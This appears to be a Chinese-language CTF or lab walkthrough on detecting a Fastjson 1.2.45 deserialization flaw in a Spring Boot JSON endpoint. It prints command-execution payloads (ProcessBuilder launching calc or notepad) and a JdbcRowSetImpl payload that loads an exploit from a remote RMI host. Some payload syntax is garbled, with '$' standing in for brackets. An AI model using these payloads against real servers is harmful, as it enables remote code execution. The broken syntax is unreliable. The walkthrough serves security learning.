Fastjson 1.2.45仅JSON接口反序列化漏洞

1.看到这个非敏感的JSON接口页面，无参数传入，敏感信息，只有一个普通age和name，源码，以及开发者工具，或者80端口都没有任何东西，那我们需要看看响应头或接口场景

2. 可以看出源码，以及开发者工具，或者80端口都没有任何东西

3.那我们接着收集一波信息，技术栈没有看见东西，nmap扫一个22端口，应该是管理员给自己开的一个ssh远程连接，我们对于这个最多只能进行爆破密码，但是百分百不是这方面的

**4.那应该就是我们需要自己构造payload，**对后端发送让他返回点什么，考虑到渗透测试中针对「JSON 接口」的标准化漏洞探测思路：

第一步：先修正请求的 "基础格式"（当前是 GET 请求，不适合传 JSON Payload）

抓的是GET 请求，而 JSON 接口的核心交互方式是 POST 请求 + 请求体传 JSON（GET 请求通常用 URL 参数传参，很少用请求体）。所以第一步要先调整请求：

第二步：添加Content-Type: application/json的原因（让后端 "识别请求体是 JSON"）

POST 请求传 JSON 数据时，后端必须通过Content-Type: application/json这个请求头，才能知道 "请求体是 JSON 格式，需要用 JSON 解析库（比如 Fastjson）来解析"：

如果不加这个头，后端会默认把请求体当成 "普通字符串"，你的 Fastjson Payload 根本不会被 Fastjson 处理（相当于 "你写了封中文信，但没标'中文'，对方按乱码读了"）；
这是所有 JSON 接口的通用通信规则，不是针对漏洞的特殊操作，是 "让 Payload 被正确解析" 的前提。

第三步：尝试 Fastjson Payload 的原因（JSON 接口的 "高频高危漏洞"），当然这一步需要慢慢测试，国内接口，以及国外从高频，特殊的开始

当确认这是 "Java 后端的 JSON 接口" 后，Fastjson 反序列化漏洞是这类接口的 "头号必测高危漏洞"，理由是：

技术栈占比高：国内 Java 项目中，超过 60% 的 JSON 接口会用 Fastjson 作为解析库（比 Gson、Jackson 更常用）；
漏洞危害极大：Fastjson 1.2.x 系列（比如你之前遇到的 1.2.45）存在大量反序列化漏洞，成功利用能直接执行系统命令、控制服务器；
探测成本低：只需要传一个标准的 Fastjson Payload（比如{"@type":"java.lang.ProcessBuilder",...}），就能快速验证是否存在漏洞。

5.点击 HackBar 的「Headers」选项， 注意有的hackbar不能直接提交，可以使用bp修改，添加：

Content-Type: application/json

计算机

{"@type":"java.lang.ProcessBuilder","command": $"cmd","/c","calc"$ }

记事本

{"@type":"java.lang.ProcessBuilder","command": $"cmd","/c","notepad"$ }

6.发现版本Fastjson 1.2.45：

Fastjson 反序列化漏洞（如 Fastjson 1.2.45 的 CVE-2022-25845）

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:1099/Exploit","autoCommit":true}

后端组件与版本：

响应明确显示fastjson-version 1.2.45，说明后端使用Fastjson 1.2.45（该版本存在多个高危反序列化漏洞，如 CVE-2017-18349、CVE-2022-25845）。

 请求问题：

请求体的 JSON 存在语法错误（响应提示 "JSON parse error: syntax error, expect {, actual error, pos 0"），导致后端无法解析 Payload。

 后端框架：

响应中的 "Whitelabel Error Page" 是 Spring Boot 的默认错误页面，说明后端是Spring Boot+Fastjson的技术栈。

7.这个比较早的漏洞基本上都进行修复，直接github搜索poc或exp进行测试